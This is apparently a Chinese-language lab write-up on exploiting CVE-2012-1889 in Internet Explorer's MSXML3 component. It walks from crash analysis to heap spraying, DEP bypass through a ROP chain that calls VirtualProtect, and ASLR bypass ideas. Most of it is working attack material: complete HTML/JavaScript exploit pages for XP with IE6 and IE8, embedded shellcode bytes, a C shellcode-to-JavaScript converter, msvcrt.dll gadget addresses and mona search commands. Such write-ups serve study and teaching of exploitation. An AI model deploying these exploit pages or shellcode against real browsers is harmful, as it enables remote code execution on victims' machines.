漏洞实验④:CVE-2012-1889
目录
1. XP+IE6版本
1.1.分析现场
1.2.堆喷射
1.3.利用漏洞
2.XP+IE8版本
2.1 DEP:
2.2 绕过EDP
2.3 构造ret2Libc和Shellcode
2.4 精准堆喷射
2.5 利用漏洞
2.6 poc
3. Win7+IE8版本
1. XP+IE6版本
1.1.分析现场
使用windbg附加IE浏览器,使用IE浏览器运行palyload文件,触发漏洞
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
//"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"是MSXML3.dll中使用到的ID
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
var obj = document.getElementById('poc').object;//获取obj对象,类id为"msxml3",对象id为"poc"
var src = unescape("%u0c0c%u0c0c"); //0c0c
while (src.length < 0x1002) src += src; //循环拼接路径
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img"); //创建图片元素pic
pic.src = src; //图片元素pic的路径赋值,路径是0x990字节的0c0c0c0c,将会溢出栈空间
pic.nameProp;
obj.definition(0); //定义并初始化一个空的对象
</script>
</body>
</html>程序崩溃,断下来了。分析现场:
1.2.堆喷射
- eax已经被我们填充成0c0c0c0c了,而后续又会取0c0c0c0c地址上的内容赋值给ecx,最后会直接call ecx+24的偏移位置
- ①eax已经被填充为0c0c0c0c
- ②ecx = 0c0c0c0c地址的内容
- ③call [ecx +24]
- ④那么如果把0c0c0c0c地址的内容设置为0c0c0c0c,那么最终call的内容就是[0c0c0c0c+24]
- 通过堆喷射的方法,将0c0c0c0c地址的内容填充为0c0c0c0c
- 堆喷射:底层原理在于javascript中所有的字符串通过堆保存,并且堆空间的增长是从低地址到高地址方向进行的,如果使用堆空间保存字符串数组,并且在该字符串数组中保存字符串,就会导致字符串在堆中从低地址到高地址依次占据内存空间,当该字符串足够长时,就会超出堆空间预先设定的大小,淹没更高地址的堆空间,造成堆溢出。实际应用中,经常通过构造长度为200MB的字符串并保存在堆中,从而淹没0x0C0C0C0C地址处的内存空间(200MB字节经换算等于0x0C80000字节,超过0x0C0C0C0C)。
- ⑤此时如果把0c0c0c0c+24地址的内容设置为我们的shellcode地址,那就可以完成我们的shellcode调用了。也就是说:[0c0c0c0c+24]=shellcode地址
- 但是我们并不能精准的找到0c0c0c0c这个地址,并将0c0c0c0c+24的位置设置为shellcode,前面只是通过堆喷射的方式设置0c0c0c0c地址的内容为0c0c0c0c。虽然我们不能精准的设置0c0c0c0c+24的地址为shellcode,但是此时0c0c0c0c地址的内容已经被④填充为0c0c0c0c了,如果执行0c0c0c0c+24这个地址,执行的指令是or al,这是无关紧要的指令,如果我们在堆喷射的末尾追加shellcode,那么程序就会执行大量无关紧要的or al指令之后,执行我们的shellcode。所以or al(0c0c)也称为滑板指令,其作用与指令nop相同。(之所以不使用nop作为本次攻击的滑板指令是因为nop指令对应的十六进制数据为0x90,如果将其作为堆喷射的内容,就需要将0x90数据淹没内存地址0x90909090,淹没该地址的需要申请更多的堆空间内存,所以不使用该方案)。
- 在javascript中因为多次申请的堆空间可能是不连续的(与系统使用链表管理堆空间有关),所以喷射形成的数据块之间可能存在其他程序仍未释放的堆空间,如果仅仅喷射滑板指令并在尾部加上payload,可能会导致cpu执行指令时将其他程序在堆空间中的数据当作代码执行,所以需要分块喷射,每个数据块由滑板指令和payload组成,一次申请一个数据块大小的堆空间(单次申请的堆在虚拟内存中一定是连续的),只要命中了一个数据块中的滑板指令,就可以将指令的执行顺序引导到payload中。(如果命中数据块中payload的中间部分,会导致程序执行错误,但是此中情况概率较小,如果发生可以通过修改数据块大小解决)
1.3. 利用漏洞
C语言版本shellcode转成JavaScript版本shellcode
#include<stdio.h>
#include<Windows.h>
// 此函数最短可转码2 字节文件
void C_2_JavaScript(unsigned char *bData, int nSize)
{
// 1. 创建文件
FILE *fpJS = nullptr;
errno_t errRet = fopen_s(&fpJS, "JavaScript.txt", "w");
// 2. 循环转码并写入目标文件( 需考虑位数为奇数的情况)
for (int i = 0; i < nSize; i += 2)
{
// 注意小尾存储
if (i + 2 == nSize + 1)
fprintf(fpJS, "\\u%02X%02X", 0, bData[i]);
else
fprintf(fpJS, "\\u%02X%02X", bData[i + 1], bData[i]);
}
fclose(fpJS);
return;
}
unsigned char szshellcode[] = "\x90\x90\x90\x90\x90\x90\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x2F\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6\x84\xEB\x57\xEC\x41\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63\x75\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x62\x7F\x6E\x73\x07\x4F\x62\x6B\x6B\x68\x27\x6F\x66\x6F\x66\x6F\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x39\x8C\x71\x0B\x39\x8C\x71\x1B\x39\x8C\x31\x39\x8C\x51\x0F\x54\x55\xEF\x15\x07\x07\x07\x8C\xF7\x8A\x4C\xC3\x56\x55\xF8\xD7\x54\x51\x57\x55\xEF\x6E\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B\x04\xF5\x8C\x71\x7F\x04\xF5\x8C\x79\x1B\x04\xFD\x8E\x7A\xFB\x8C\x79\x27\x04\xFD\x8E\x7A\xFF\x8C\x79\x23\x04\xFD\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C\x52\x0F\x8A\x33\x11\x8C\x5A\x0B\x8A\x7C\xB2\xBE\x09\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x11\x5D\x8C\xE2\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xD4\x34\xF8\x50\x50\x56\xF8\x52\x0B\x8A\x4C\xD9\x56\x57\xF8\x52\x17\x8E\x42\xFB\x8A\x4C\xED\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C\xE8\x34\xF8\x50\x56\x56\x50\xF8\x52\xFB\x34\xF8\x50\xF8\x52\xFF\x8C\xE2\x5A\xC5\x17\x07\x07\x00";
int main() {
C_2_JavaScript(szshellcode,sizeof(szshellcode));
return 0;
}得到Unicode版本的shellcode
修改poc
<html>
<head>
<title>CVE 2012-1889 POC Red_Magic_ver.7</title>
</head>
<body>
<!-- object 标签用于创建一个对象,可能是视频,音频等,-->
<!-- 创建对象clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4即为微软XML服务3.0-->
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 需要执行的shellcode
var cShellCode = unescape("\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u012F\u048A\u340E\u8807\u0E04\uF6E2\u3480\u070E\uE6FF\uEB84\uEC57\u4041\u7362\u7557\u6468\u6346\u7563\u7462\u0774\u684B\u6366\u6E4B\u7565\u7566\u427E\u467F\u5207\u6274\u3475\u2935\u6B63\u076B\u624A\u7474\u6066\u4562\u7F68\u0746\u7F62\u736E\u4F07\u6B62\u686B\u6F27\u6F66\u6F66\uEF07\u0707\u0707\u635C\u328C\u0737\u0707\u8C39\u0B71\u8C39\u1B71\u8C39\u3931\u518C\u540F\uEF55\u0715\u0707\uF78C\u4C8A\u56C3\uF855\u54D7\u5751\uEF55\u076E\u0707\u8C52\u84EB\u0BEB\u8C55\u0F52\u758C\u043B\u8CF5\u7F71\uF504\u798C\u041B\u8EFD\uFB7A\u798C\u0427\u8EFD\uFF7A\u798C\u0423\u8EFD\uF37A\uC734\u06EC\u8C47\uFF72\u338C\u8C81\u0F52\u338A\u8C11\u0B5A\u7C8A\uBEB2\u0709\u0707\uF4FB\u72A1\u8CE4\uF372\uF834\u8C61\u413B\u528C\u8CFB\uBD33\u528C\u8A0F\u1103\u8C5D\u5AE2\u0FC5\u5207\uEB8C\uEB84\u8C0F\u135A\u4C8A\u34D4\u50F8\u5650\u52F8\u8A0B\uD94C\u5756\u52F8\u8E17\uFB42\u4C8A\u56ED\u72F8\uF80F\u1752\u428E\u8AFF\uE84C\uF834\u5650\u5056\u52F8\u34FB\u50F8\u52F8\u8CFF\u5AE2\u17C5\u0707");
// 计算一个数据块(大小1MB)中滑板指令的长度
//除以2是因为length返回的是Unicode字符的个数,一个Unicode的字符个数是2
var nSlideSize = 1024*1024/2; // 一个滑板指令区的大小(1MB)
var nMlcHadSize = 32/2; // 堆头部大小
var nStrLenSize = 4/2; // 堆长度信息大小
var nTerminatorSize = 2/2; // 堆结尾符号大小
var nScSize = cShellCode.length; // shellcode 大小
var nFillSize = nSlideSize - nMlcHadSize - nStrLenSize - nScSize - nTerminatorSize;
//制作一块滑板指令
var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
while (cFillData.length <= nSlideSize)
cFillData += cFillData; //通过循环拼接,得到一个1MB大小的0c字符串
cFillData = cFillData.substring(0, nFillSize); //截取指定长度的滑板指令,只保留nFillSize个字符个数的滑板指令长度
//堆喷射,填充200个1M的堆空间,使0x0c0c0c0c地址被淹没,当在该地址处执行代码时,
//大概率先执行滑板指令然后执行shellcode(1M为1700万字节,0c有1700万字节,而shellcode只有一两百字节)
var cSlideData = new Array(); // 申请堆空间
for (var i = 0; i < 200; ++i)
{
cSlideData[i] = cFillData + cShellCode;//将滑板指令与shellcode拼接,得到1MB数据块,将会填充堆空间(javascript中的字符串保存在堆)
}
//触发CVE 2012-1889漏洞,使eip被修改为0x0c0c0c0c
var obj15PB = document.getElementById('15PB').object
var srclmgPath = unescape("\u0C0C\u0C0C");
while (srclmgPath.length < 0x1000)
srclmgPath += srclmgPath;
srclmgPath = "\\\\15PB" + srclmgPath;
srclmgPath = srclmgPath.substr(0, 0x1000 - 10);
var emtPic = document.createElement("img");
emtPic.src = srclmgPath;
emtPic.nameProp;
obj15PB.definition(0);
</script>
</body>
</html>执行成功:![]()

2.XP+IE8版本
- WindowsXP IE8+的版本提供了数据执行保护(DEP),因此,只要是可写的区域,都不可执行了。这样一来。漏洞利用就比较困难了
2.1 DEP:
- DEP 的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。
- DEP的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫SafeSEH。 另一种为硬件实现,由英特尔这种CPU硬件生产厂商固化到硬件中的,也称作NX保护机制。 由于DEP的存在,导致之前在堆空间0x0C0C0C0C地址上执行指令的操作无法实现,如果需要实现漏洞利用,需要需要设法绕过DEP机制。
![]()
2.2 绕过EDP
- 2.2.1 Ret2libc技术
- Ret2libc 是 Return-to-libc 简写。
- 在 DEP 保护下溢出失败的根本原因是 DEP 检测到程序转到非可执行页执行指令了。由于 DEP 不允许我们直接到非可执行页(堆空间或者栈空间)执行指令,我们就需要在其他可执行的位置找到符合我们要求的指令,让这条指令来替我们工作,为了能够控制程序流程,在这条指令执行后,我们还需要一个返回指令,以便收回程序的控制权,然后继续下一步操作。其他可执行的位置:可以在系统的dll中寻找我们需要的指令。总而言之,只要为 shellcode 中的每条指令都在代码区找到一条替代指令,就可以完成 exploit想要的功能了。
- 2.2.2 Ret2libc 流程
![]()
- 2.2.3 利用Ret2Libc绕过EDP
- 方法①:通过上面的方法调用 ZwSetInformationProcess 函数将 DEP 关闭后再转入 shellcode 执行
- 方法②:通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入 shellcode 执行
- 方法③:通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行
![]()
2.3 构造ret2Libc和Shellcode
- 通过2.2 我们有了绕过EDP的思路,接下来要考虑如何实现它,看到下图以及2.2.3图
- 我们的目的是要执行Ret2Libc链,那么就要控制 call dword ptr [ecx+18h]这条指令将会执行到Ret2Libc链的第一条指令,如果能实现的话,那么就可以执行VirtualProtect 函数修改属性。但是仅仅执行VirtualProtect 函数还不行,因为此时栈中的数据不是我们构造的,调用VirtualProtect 函数的时候,参数和返回地址都是不可控的。因此,在执行VirtualProtect 函数之前,还需要将栈的数据设置为我们可控的数。那么我们就可以在执行VirtualProtect 函数之前先执行一条指令:XCHG EAX,ESP,执行完之后栈将会被修改成我们的堆空间,因为eax就是被覆盖后得到的0c0c0c0c,而0c0c0c0c地址的内容我们是可以通过堆喷射进行控制的。
- 堆喷射:需要做的事情
- ①将0c0c0c0c+18h地址的内容设置为XCHG EAX,ESP RET的系统地址
- ②将0c0c0c0c+18h+4地址的内容设置为VirtualProtect 函数地址
- ③将0c0c0c0c+18h+4+4地址的内容设置为palyload代码的地址
- ④将0c0c0c0c+18h+4+4~0c0c0c0c+18h+4+16地址的内容设置为VirtualProtect 函数的参数
- 但是发现如果按照这样写的话,还是会触发DEP
- 因此,call [eax+18]这个call目前来说,利用起来比较困难,观察源码,发现下面还有一个call:call [eax+8],而eax的值来自esi,esi的值来自[ebp-14h],也就是说间接来自栈,经过精心构造,可以实现绕过DEP:需要把栈的溢出点溢出为0c0c0c08
![]()
2.4 精准堆喷射
- 我们在IE6版本中做的堆喷射只是一股脑的将所有堆空间都覆盖成0c0c0c0c,然后在堆空间末尾追加shellcode,但是现在却要在指定的偏移填充指定的数据,这该如何实现?使用精准堆喷射技术
- 精准堆喷射的目的就是将指定内存地址处的值修改为指定内容,底层实现原理如下:
- Windows使用内存分页机制管理内存,内存操作的最小单位为一个内存分页,一个内存分页4kb(0x1000)大小(64位系统中最大的内存分页为1G),则申请的一段堆空间中,这段堆空间首地址一定是0x1000的倍数,如果知道一个内存地址相对于其所在内存分页首地址的偏移,那么就可以构造一个内存分页大小的内存块,并在距离内存块首地址指定偏移的位置设置关键数据,然后以该内存块作为的最小单元进行堆喷,从而保证被内存堆喷射覆盖的指定内存地址处存在关键数据
- 堆空间结构
- 为了便于理解,此处使用C语言的堆空间结构来理解精准堆喷射,实际漏洞是使用JavaScript的堆空间结构,但是逻辑是一样的
- 验证上面的结构信息,使用x32dbg调试代码生成的程序,待申请完堆空间后,下断点,查看内存信息
- 进入0c065000查看堆结构信息:
- 查看0c0c0c0c地址的内容:
- 查看堆结尾信息:
- 进行堆喷射
- 现在我们需要精准的将0c0c0c0c地址填充为我们需要ret2Libc内容,
- 使用公式:(关键数据的内存地址-UserPtr)%0x1000 = 关键数据在内存分页的偏移,因为javascript中字符串是Unicode形式的,所以需要除以2
- (0c0c0c0c-0c065020)%0x1000/2= 5f6
- 在0x5f6的位置填充我们想要的数据
- 再次运行程序,查看0c0c0c0c的内存
2.5 利用漏洞
- 由2.3和2.4两部分,我们已经有了漏洞利用的思路,下面开始应用于IE8
- 获取Userptr的值,0c0c0c0c地址处的UserPte地址:(Userptr每次获取的值可能都是不一样的,但是使用公式算出来的偏移是不会变的,因为【关键数据的内存地址-UserPtr】的值都是同一个值)
- !py mona.py mod 查看当前系统模块信息
- 随便找一个没有开启ASLR(随机基址)的系统模块
- 这里在msvcrt.dll中查找xchg eax,esp ret的ret2Libc指令: !py mona find -s "\x94\xc3" -m "msvcrt.dll",在结果中随便找一个拥有可执行属性的即可
- 按照同理,或:!py mona findwild -s "pop edx # ret" -m msvcrt.dll
- 找ret指令和pop ebp ret(pop其他寄存器也可以)指令,最终得到:
// 0x0C0C0C0C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step3
// 0x0C0C0C10 | 0x77BF398F : # POP EBP # RETN [msvcrt.dll] <-ROP Step4
// 0x0C0C0C14 | 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2
// 0x0C0C0C18 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step5
// 0x0C0C0C1C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step6
// 0x0C0C0C20 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step7
// 0x0C0C0C24 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step1/Step8- 在msvcrt.dll中找一个属性稳定可写的地址,作为VitualProtect的参数lpflOldProtect
- 有了这些数据,只需要将这些数据作为Ret2Libc,然后紧跟着palyload即可完成EDP的绕过了,填充顺序:
2.6 poc
<html>
<head>
<title>Step4_CVE-2012-1889_v4 By:15PB.Com</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1. 生成Padding
var cPadding = unescape("\u0C0C\u0C0C");
while (cPadding.length < 0x1000)
cPadding += cPadding;//sxe ld:msxml3.dll
cPadding = cPadding.substring(0, 0x5F6);
// 2. 制作Ret2Libc
var cRet2Libc = unescape(
// 0x0C0C0C0C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step3
// 0x0C0C0C10 | 0x77BF398F : # POP EBP # RETN [msvcrt.dll] <-ROP Step4
// 0x0C0C0C14 | 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2
// 0x0C0C0C18 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step5
// 0x0C0C0C1C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step6
// 0x0C0C0C20 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step7
// 0x0C0C0C24 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step1/Step8
//
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u398F\u77BF" + // 0x77BF398F : # POP EBP # RETN [msvcrt.dll]
"\uA891\u77C0" + // 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry
//
// 0x0C0C0C28 | 0x7C801AD4 : # Return to VirtualProtect <-ROP Step9
// 0x0C0C0C2C | 0x0C0C0C40 : # Return Addr(Payload Addr) <-ROP Step10
// 0x0C0C0C30 | 0x0C0C0C40 : # lpAddress = Payload Addr
// 0x0C0C0C34 | 0x00001000 : # dwSize = 0x00001000
// 0x0C0C0C38 | 0x00000040 : # flNewProtect = 0x00000040
// 0x0C0C0C3C | 0x77C31C4C : # lpflOldProtect = 0x77C31C4C
//
"\u1AD4\u7C80" + // 0x7C801AD4 : # Return to VirtualProtect
"\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)
"\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress = Payload Addr
"\u1000\u0000" + // 0x00001000 : # dwSize = 0x00001000
"\u0040\u0000" + // 0x00000040 : # flNewProtect = 0x00000040
"\uEFFC\u77C2" );// 0x77C31C4C : # lpflOldProtect = 0x77C31C4C
// 3. 准备好Payload(unescape()是解码函数)
var cPayload = unescape("\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u012F\u048A\u340E\u8807\u0E04\uF6E2\u3480\u070E\uE6FF\uEB84\uEC57\u4041\u7362\u7557\u6468\u6346\u7563\u7462\u0774\u684B\u6366\u6E4B\u7565\u7566\u427E\u467F\u5207\u6274\u3475\u2935\u6B63\u076B\u624A\u7474\u6066\u4562\u7F68\u0746\u7F62\u736E\u4F07\u6B62\u686B\u6F27\u6F66\u6F66\uEF07\u0707\u0707\u635C\u328C\u0737\u0707\u8C39\u0B71\u8C39\u1B71\u8C39\u3931\u518C\u540F\uEF55\u0715\u0707\uF78C\u4C8A\u56C3\uF855\u54D7\u5751\uEF55\u076E\u0707\u8C52\u84EB\u0BEB\u8C55\u0F52\u758C\u043B\u8CF5\u7F71\uF504\u798C\u041B\u8EFD\uFB7A\u798C\u0427\u8EFD\uFF7A\u798C\u0423\u8EFD\uF37A\uC734\u06EC\u8C47\uFF72\u338C\u8C81\u0F52\u338A\u8C11\u0B5A\u7C8A\uBEB2\u0709\u0707\uF4FB\u72A1\u8CE4\uF372\uF834\u8C61\u413B\u528C\u8CFB\uBD33\u528C\u8A0F\u1103\u8C5D\u5AE2\u0FC5\u5207\uEB8C\uEB84\u8C0F\u135A\u4C8A\u34D4\u50F8\u5650\u52F8\u8A0B\uD94C\u5756\u52F8\u8E17\uFB42\u4C8A\u56ED\u72F8\uF80F\u1752\u428E\u8AFF\uE84C\uF834\u5650\u5056\u52F8\u34FB\u50F8\u52F8\u8CFF\u5AE2\u17C5\u0707");
// 4. 准备好FillData
// 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB)
var nPadSize = cPadding.length; // Padding大小
var nR2LSize = cRet2Libc.length; // Ret2Libc大小
var nPySize = cPayload.length; // Shellcode大小
var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize;
// 4.2 制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C");
while (cFillData.length < nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize);
// 5. 构建滑板指令数据块
var nBlockSize = 0x40000; // 256KB
var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
while (cBlock.length < nBlockSize)
cBlock += cBlock;
//在XP SP3+IE8环境中,一个内存块大小为0x40000,并且有0x02的块启示与0x21的块结尾,故构造数据块时要在头尾预留出这两部分的大小。
cBlock = cBlock.substring(2, nBlockSize-0x21);
// 6. 填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
// 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
// 后面的Shellcode处,进而执行Shellcode。
var cSlideData = new Array();
for (var i = 0; i < 800; i++)
//IE8对堆喷射做了一定的限制,采用直接字符串赋值进行堆喷的方法会被禁止。所以使用substr的 方法进行堆喷射
cSlideData[i] = cBlock.substr(0, cBlock.length);
// 7. 触发CVE 2012-1889漏洞
// 7.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
var srcImgPath = unescape("\u0C0C\u0C08");
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
srcImgPath = "\\\\15PB_Com" + srcImgPath;
srcImgPath = srcImgPath.substr(0, 0x1000-10);
// 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp;
// 7.4 定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>最终运行成功

3. Win7+IE8版本
- 微软从Windows Vista开始,加入了一种安全保护技术:ASLR(地址空间布局随机化 Address space layout randomization),有了ASLR之后,几乎所有的模块加载基址都被随机化了,因此我们想通过构造Ret2Libc链来完成DEP的绕过就变得难以实现了,因为基址随机化了,我们无法以固定的地址寻址特定指令序列,也就无法构成Ret2Libc链了。
- 但是也不是没有办法绕过ASLR:
- 方法①:找到程序进程中没有开启随即基址的模块,比如java的运行环境、FlashPlayer,使用此类模块中的序列构造Ret2Libc链。
- 方法②:利用操作系统中的固定点,3环中部分函数的地址是不变的,通过分析windows源码,有的函数定义的时候是个宏,说明其地址是固定的,如果知道该地址,可以进行利用。
- 方法③:Intel的cpu使用小端保存数据,高位数据保存在内存高地址,低位数据保存在内存低地址,随机基址只能将内存地址中的基址随机化,无法随机相对虚拟地址rva,通过淹没一个地址的低十六位,即只修改rva,可以绕过随机基址,从而访问到指定内存位置。
- 此处在Win7中,所有模块都开启了ASLR,能力有限,就不再深究了
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